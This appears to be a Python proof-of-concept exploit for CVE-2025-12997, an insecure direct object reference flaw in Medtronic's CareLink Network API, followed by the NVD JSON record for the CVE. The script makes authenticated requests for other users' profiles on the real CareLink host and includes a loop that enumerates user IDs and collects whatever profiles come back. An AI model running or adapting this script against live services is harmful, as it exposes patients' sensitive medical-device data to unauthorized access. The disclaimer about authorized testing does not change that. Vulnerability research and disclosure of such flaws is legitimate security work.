CVE-2025-12997

# CVE-2025-12997 PoC - Medtronic CareLink Network IDOR # This PoC demonstrates the IDOR vulnerability in CareLink Network API # Note: This is for educational and authorized testing purposes only import requests import json # Target endpoint configuration BASE_URL = "https://carelink.medtronic.com/api/v1" TARGET_CVE = "CVE-2025-12997" def test_idor_vulnerability(): """ Test for IDOR vulnerability in CareLink Network Requires valid authentication and device information """ # Valid session token (obtained through legitimate authentication) session_token = "YOUR_VALID_SESSION_TOKEN" # Target user's device ID (obtained through reconnaissance) target_user_id = 12345 # Legitimate user's device ID (the attacker owns this) attacker_user_id = 67890 headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json", "User-Agent": "CareLink-Client/1.0" } # Normal API request - accessing own data (should succeed) own_data_url = f"{BASE_URL}/users/{attacker_user_id}/profile" own_response = requests.get(own_data_url, headers=headers) print(f"[+] Accessing own profile: {own_response.status_code}") # Malicious request - IDOR exploitation (accessing other user's data) # The vulnerability exists because the API doesn't verify resource ownership target_data_url = f"{BASE_URL}/users/{target_user_id}/profile" target_response = requests.get(target_data_url, headers=headers) if target_response.status_code == 200: print(f"[!] IDOR Vulnerability Confirmed!") print(f"[!] Successfully accessed user {target_user_id}'s data without authorization") leaked_data = target_response.json() print(f"[+] Leaked Information: {json.dumps(leaked_data, indent=2)}") return True else: print(f"[-] Request blocked or user not found") return False def enumerate_user_ids(): """ Demonstrate IDOR enumeration attack Attempts to access multiple user profiles through ID manipulation """ session_token = "YOUR_VALID_SESSION_TOKEN" headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } print("[*] Starting IDOR enumeration attack...") leaked_profiles = [] # Scan user ID range (typical enumeration pattern) for user_id in range(10000, 10050): url = f"{BASE_URL}/users/{user_id}/profile" response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: profile_data = response.json() leaked_profiles.append({ "user_id": user_id, "data": profile_data }) print(f"[!] Found accessible profile: User ID {user_id}") print(f"[*] Enumeration complete. Found {len(leaked_profiles)} accessible profiles") return leaked_profiles if __name__ == "__main__": print(f"[*] CVE-2025-12997 PoC - Medtronic CareLink Network IDOR") print(f"[*] This PoC requires authorization and is for testing purposes only") # Run vulnerability test test_idor_vulnerability()

{"cve": {"id": "CVE-2025-12997", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:17.480", "lastModified": "2025-12-22T18:09:54.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure Direct Object Reference vulnerability in Medtronic CareLink Network which allows an authenticated attacker with access to specific device and user information to submit web requests to an API endpoint that would expose sensitive user information. This issue affects CareLink Network: before December 4, 2025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:medtronic:carelink_network:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-12-04", "matchCriteriaId": "F732E0FA-C285-4923-873F-3080AC1032F8"}]}]}], "references": [{"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/carelink-network-vulnerabilities.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}